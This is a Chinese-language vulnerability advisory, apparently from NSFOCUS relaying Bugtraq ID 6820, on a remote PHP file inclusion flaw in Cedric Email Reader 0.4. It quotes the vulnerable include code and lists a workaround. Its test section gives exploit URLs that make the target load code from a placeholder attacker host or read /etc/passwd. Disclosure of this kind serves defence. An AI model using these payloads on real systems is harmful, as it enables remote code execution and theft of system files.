发布日期：2003-02-10
更新日期：2003-02-18

受影响系统：

ISOCA Cedric Email Reader 0.4

描述：

---

BUGTRAQ  ID: 6820

Cedric Email Reader是一款由PHP编写的免费的基于WEB的邮件客户端。

Cedric Email Reader包含的emailreader_execute_on_each_page.inc.php脚本对用户提交的输入缺少正确检查，远程攻击者可以利用这个漏洞包含恶意PHP文件，以WEB进程权限执行PHP文件中的任意命令。

emailreader_execute_on_each_page.inc.php包含如下代码：

---------------------------------
[...]
$param = imap_base64($login);
parse_str($param);

@include($emailreader_ini);
@include('lib/'.$server_type.'.inc.php');
@include('skin/emailreaderskin_'.$lang.'.php');
[...]
---------------------------------


由于对$emailreader_ini变量没有预先定义，因此可以通过全局注入来进行变量定义，攻击者可以指定远程系统中的PHP文件作为参数提交给$emailreader_ini变量，可导致以WEB进程权限执行PHP文件中包含的恶意代码。

<*来源：MGh （magas@mail.lt）
  
  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=104489208932333&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

MGh （magas@mail.lt）提供了如下测试方法：

http://[target]/webmail/lib/emailreader_execute_on_each_page.inc.php?emailreader_ini=http://[attacker]/code.php

包含远程机器上PHP文件。

或包含本地机器上的文件：

http://[target]/webmail/lib/emailreader_execute_on_each_page.inc.php?emailreader_ini=/etc/passwd

建议：

---

临时解决方法：

如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁：

* 编辑php.ini文件，设置'allow_url_fopen'和'register_globals'选项为'off'。

厂商补丁：

ISOCA
-----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.isoca.com/creation/webmail/index_en.php

浏览次数：2981
严重程度：0（网友投票）